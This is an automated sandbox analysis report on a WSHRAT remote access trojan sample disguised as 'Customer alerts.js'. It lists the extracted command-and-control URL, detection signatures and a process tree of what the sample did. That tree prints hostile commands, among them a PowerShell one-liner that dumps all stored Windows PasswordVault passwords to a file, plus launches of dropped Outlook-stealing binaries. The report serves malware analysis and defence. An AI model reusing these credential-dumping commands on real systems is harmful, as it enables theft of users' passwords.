Analysis

  • max time kernel
    152s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    26/11/2021, 19:22

General

  • Target
    Customer alerts.js
  • Size 1.0MB
  • Sample211126-x29ksaecfr
  • SHA256 2bad00a5d95151f8a72c537e066bb1d2f1f7c73dfadca31f0ec21da7935df1df
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • wshrat

C2
  • http://1j1m3r3.kozow.com:50933

Signatures

  • WSHRAT

    WSHRAT is a variant of Houdini worm and has vbs and js variants.

  • suricata: ET MALWARE WSHRAT CnC Checkin

    suricata: ET MALWARE WSHRAT CnC Checkin

  • suricata: ET MALWARE WSHRAT Credential Dump Module Download Command Inbound

    suricata: ET MALWARE WSHRAT Credential Dump Module Download Command Inbound

  • suricata: ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin 1

    suricata: ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin 1

  • Blocklisted process makes network request 23 IoCs
  • Executes dropped EXE 4 IoCs
  • Drops startup file 2 IoCs
  • Loads dropped DLL 26 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 8 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 3 IoCs
  • Script User-Agent 21 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Customer alerts.js"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:2688
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\Customer alerts.js"
      2⤵
      • Blocklisted process makes network request
      • Drops startup file
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:3080
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ } > "C:\Users\Admin\AppData\Local\Temp\tmp.txt"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1412
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c cd "C:\Users\Admin\AppData\Roaming\wshsdk" && C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll > "C:\Users\Admin\AppData\Roaming\wshout"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2840
        • C:\Users\Admin\AppData\Roaming\wshsdk\python.exe
          C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:3448
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c cd "C:\Users\Admin\AppData\Roaming\wshsdk" && C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll > "C:\Users\Admin\AppData\Roaming\wshout"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3696
        • C:\Users\Admin\AppData\Roaming\wshsdk\python.exe
          C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1432
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4052
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM cmdc.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2968
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2828
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM cmdc.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:920
      • C:\Users\Admin\AppData\Roaming\cmdc.exe
        "C:\Users\Admin\AppData\Roaming\cmdc.exe" /stext C:\Users\Admin\AppData\Roaming\cmdc.exedata
        3⤵
        • Executes dropped EXE
        • Accesses Microsoft Outlook accounts
        PID:3840
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1900
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM cmdc.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1244
      • C:\Users\Admin\AppData\Roaming\cmdc.exe
        "C:\Users\Admin\AppData\Roaming\cmdc.exe" /stext C:\Users\Admin\AppData\Roaming\cmdc.exedata
        3⤵
        • Executes dropped EXE
        • Accesses Microsoft Outlook accounts
        PID:3976
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c mkdir "C:\Users\Admin\AppData\Roaming\wshlogs"
        3⤵
          PID:2264
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding
      1⤵
        PID:3772

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/1412-132-0x000001FAEFFB0000-0x000001FAEFFB1000-memory.dmp

            memory/1412-123-0x000001FAD3E10000-0x000001FAD3E12000-memory.dmp

            memory/1412-130-0x000001FAD3E10000-0x000001FAD3E12000-memory.dmp

            memory/1412-129-0x000001FAD3E10000-0x000001FAD3E12000-memory.dmp

            memory/1412-131-0x000001FAD3E10000-0x000001FAD3E12000-memory.dmp

            memory/1412-126-0x000001FAD3E10000-0x000001FAD3E12000-memory.dmp

            memory/1412-125-0x000001FAD3E10000-0x000001FAD3E12000-memory.dmp

            memory/1412-124-0x000001FAD3E10000-0x000001FAD3E12000-memory.dmp

            memory/1412-133-0x000001FAD3F20000-0x000001FAD3F22000-memory.dmp

            memory/1412-142-0x000001FAEFFA0000-0x000001FAEFFA1000-memory.dmp

            memory/1412-127-0x000001FAEFE00000-0x000001FAEFE01000-memory.dmp

            memory/1412-128-0x000001FAD3E10000-0x000001FAD3E12000-memory.dmp

            memory/1412-143-0x000001FAD3E10000-0x000001FAD3E12000-memory.dmp

            memory/1412-136-0x000001FAD3E10000-0x000001FAD3E12000-memory.dmp

            memory/1412-134-0x000001FAD3F23000-0x000001FAD3F25000-memory.dmp

            memory/1412-135-0x000001FAD5E10000-0x000001FAD5E11000-memory.dmp

            memory/1412-122-0x000001FAD3E10000-0x000001FAD3E12000-memory.dmp

            memory/1412-144-0x000001FAD3F26000-0x000001FAD3F28000-memory.dmp